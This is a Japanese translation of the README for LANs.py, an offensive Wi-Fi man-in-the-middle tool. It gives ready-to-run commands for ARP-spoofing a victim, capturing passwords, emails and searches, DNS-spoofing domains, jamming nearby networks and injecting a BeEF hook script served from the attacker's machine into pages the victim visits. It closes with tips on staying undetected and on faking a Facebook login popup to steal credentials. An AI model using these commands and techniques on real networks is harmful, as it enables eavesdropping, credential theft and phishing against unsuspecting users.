
コードを注入してWi-Fiユーザーをスパイする
*** 注記 *** 私はこれをメンテナンスしなくなりました。ARP や MITM の用途には bettercap を使うことを強くお勧めします。
最もアクティブな WLAN ユーザを自動的に見つけ、そのうちの 1 人をスパイし、訪問先のページに任意の HTML/JS を注入します。
また、近くの WiFi ネットワークを継続的に妨害(ジャミング)するためにも使用できます。おおよその範囲は 1 ブロック圏内ですが、WiFi カードの性能によって異なります。全員を妨害したり、1 台のクライアントだけに限定することもできます(WiFi ジャミングとスパイは同時にはできません)。
前提条件: Linux、python-scapy、python-nfqueue (nfqueue-bindings 0.4-3)、aircrack-ng、python-twisted、BeEF(オプション)、nmap、nbtscan、および -ip オプションを使用しない場合はプロミスキャスモード対応のワイヤレスカード
Kali 1.0 でテスト済み。以下の例では、192.168.0.5 が攻撃マシン、192.168.0.10 が被害者です。
すべてのオプション:
Python LANs.py [-h] [-b BEEF] [-c CODE] [-u] [-ip IPADDRESS] [-vmac VICTIMMAC]
[-d] [-v] [-dns DNSSPOOF] [-a] [-set] [-p] [-na] [-n]
[-i INTERFACE] [-r REDIRECTTO] [-rip ROUTERIP]
[-rmac ROUTERMAC] [-pcap PCAP] [-s SKIP] [-ch CHANNEL]
[-m MAXIMUM] [-no] [-t TIMEINTERVAL] [--packets PACKETS]
[--directedonly] [--accesspoint ACCESSPOINT]
python LANs.py -u -p
アクティブなターゲット識別。選択したターゲットを ARP スプーフィングし、送受信される非 HTTPS データのうち興味深いものをすべて出力します。-ip オプションがないため、ネットワークを ARP スキャンし、ライブのプロミスキャスキャプチャと比較して、ネットワーク上のすべてのクライアントをリストアップします。ターゲットに Windows netbios 名をタグ付けし、送受信しているデータパケット数を表示します。ターゲットが送信するデータパケットをキャプチャできるかどうかは、物理的な距離とネットワークカードの性能に大きく依存します。Ctrl-C で準備ができたらターゲットを選択し、ARP スプーフィングを行います。
以下のプロトコルのデータインターセプトと収集をサポート: HTTP, FTP, IMAP, POP3, IRC。訪問した URL の最初の 135 文字を出力し、.jpg, .jpeg, .gif, .css, .ico, .js, .svg, .woff で終わる URL は無視します。また、すべてのプロトコルのユーザー名/パスワード、あらゆるサイトでの検索、送受信されたメール、送受信された IRC メッセージも出力します。スクリーンショット: http://i.imgur.com/kQofTYP.png
LANs.py を引数なしで実行すると、アクティブなターゲットのリストが表示され、選択後はシンプルな ARP スプーファーとして動作します。
python LANs.py -u -p -d -ip 192.168.0.10
-d: driftnet で xterm を開き、閲覧しているすべての画像を表示する
-ip: この IP アドレスをターゲットに指定し、最初のアクティブターゲット選択をスキップする
python LANs.py -b http://192.168.0.5:3000/hook.js
BeEF フック URL (http://beefproject.com/、チュートリアル: http://resources.infosecinstitute.com/beef-part-1/) を被害者が訪問するページに注入します。これは単に引数を <script> タグで囲むだけなので、任意の JavaScript ファイルの場所を指定できます。ページの HTML 内で最初の </head> タグの後に挿入を試みます。
python LANs.py -c '<title>Owned.</title>'
被害者が訪問するページに任意の HTML を注入します。最初に最初の <head> タグの後に挿入を試み、失敗した場合は最初の </head> タグの前に挿入します。この例ではページタイトルを 'Owned.' に変更します。
python LANs.py -pcap libpcapfilename -ip 192.168.0.10
pcap ファイルから読み取るには、-ip オプションでターゲットの IP アドレスを指定する必要があります。また、ファイルは libpcap 形式(最も一般的な形式)である必要があります。pcap ファイルから読み取る利点の 1 つは、スクリプトを実行するために root 権限が不要なことです。
python LANs.py -a -r 80.87.128.67
python LANs.py -dns eff.org
例 1: -a オプションは被害者が行うすべての DNS リクエストをスプーフィングし、-r と併用すると -r の引数アドレスにリダイレクトします。被害者はアドレスバーに何を入力しても stallman.org (80.87.128.67) にリダイレクトされます。
例 2: これは eff.org ドメインとそのサブドメインをスプーフィングします。-a または -dns 引数とともに -r 引数がない場合、スクリプトはデフォルトで被害者を攻撃者の IP アドレスに送ります。被害者が eff.org にアクセスしようとすると、攻撃者の IP にリダイレクトされます。
python LANs.py -v -d -p -n -na -set -a -r 80.87.128.67 -c '<title>Owned.</title>' -b http://192.168.0.5:3000/hook.js -ip 192.168.0.10
python LANs.py
通常の使用:
-b BEEF_HOOK_URL: BeEF フック URL をコピーして、被害者が訪問するすべてのページに注入します。例: -b http://192.168.1.10:3000/hook.js
-c 'HTML CODE': 被害者が訪問するページに任意の HTML コードを注入します。注入する HTML を選択する際は引用符を含めてください。
-d: driftnet で xterm を開き、閲覧しているすべての画像を表示します。
-dns DOMAIN: DOMAIN の DNS をスプーフィングします。例: -dns facebook.com は、facebook.com または subdomain.facebook.com へのすべての DNS リクエストを DNS スプーフィングします。
-a: 被害者が行うすべての DNS 応答をスプーフィングし、事実上キャプティブポータルページを作成します。-r オプションと併用可能です。
-r IPADDRESS: -dns DOMAIN オプションとのみ使用します。ユーザーが DOMAIN にアクセスしたときに、この IPADDRESS にリダイレクトします。
-u: 訪問した URL を出力します。150 文字で切り詰め、出力が煩雑になるため画像/css/js/woff/svg の URL は除外します。
-i INTERFACE: インターフェースを指定します。デフォルトは ip route の最初のインターフェースです。例: -i wlan0
-ip: この IP アドレスをターゲットにします。
-n: ターゲットに対して簡単な nmap スキャンを実行します。
-na: バックグラウンドで攻撃的な nmap スキャンを実行し、[被害者 IP アドレス].nmap.txt に出力します。
-p: FTP/IMAP/POP/IRC/HTTP のユーザー名/パスワード、HTTP POST、すべての検索、送受信メール、送受信 IRC メッセージを出力します。
-pcap PCAP_FILE: pcap ファイル内のすべてのパケットを解析します。-ip [ターゲットの IP アドレス] 引数が必要です。
-rmac ROUTER_MAC: スクリプトが自動的にルーター MAC を取得できない場合に、ここにルーター MAC を入力します。
-rip ROUTER_IP: スクリプトが自動的にルーター IP を取得できない場合に、ここにルーター IP を入力します。
-v: 詳細な URL を表示します。-u のように 150 文字で切り詰めません。
WiFi ジャミング:
Ctrl-C を受け取ると:
-IP フォワーディングをオフにする
-iptables ファイアウォールをフラッシュする
-ルーターと被害者の ARP テーブルを個別に復元する
このスクリプトは、Twisted IReadDescriptor でラップされた python nfqueue-bindings キューを使用して、パケットをコールバック関数に渡します。nfqueue-bindings は特定のパケットをドロップまたは転送するために使用されます。パケットの解析と注入には Python の scapy ライブラリが使用されています。
コードを検出されずに注入するのは難しいゲームです。小さなことでも問題が発生したり、被害者がデータを要求しているサーバーが特殊な方法で処理を行うと、ユーザーは開こうとしているページを表示できなくなり、何かがおかしいと気付くでしょう。このスクリプトは、何か問題が発生した場合にはパケットを転送するように設計されています。そのため、使用中に "[!] Injected packet for www.domain.com" が多数表示されても、BEeF パネルにブラウザがフックされているドメインが 1 つか 2 つしか見えないことがあります。これは正常です。最初のページでフックされなくても、他のページを数ページ閲覧するまで待ってください。目標は目立たないことです。私のお気に入りの BEeF ツールは、Commands > Social Engineering にあります。Facebook の公式ポップアップのように見せかけて、ユーザーの認証が期限切れになったので再入力するよう促すなどの操作を行ってください。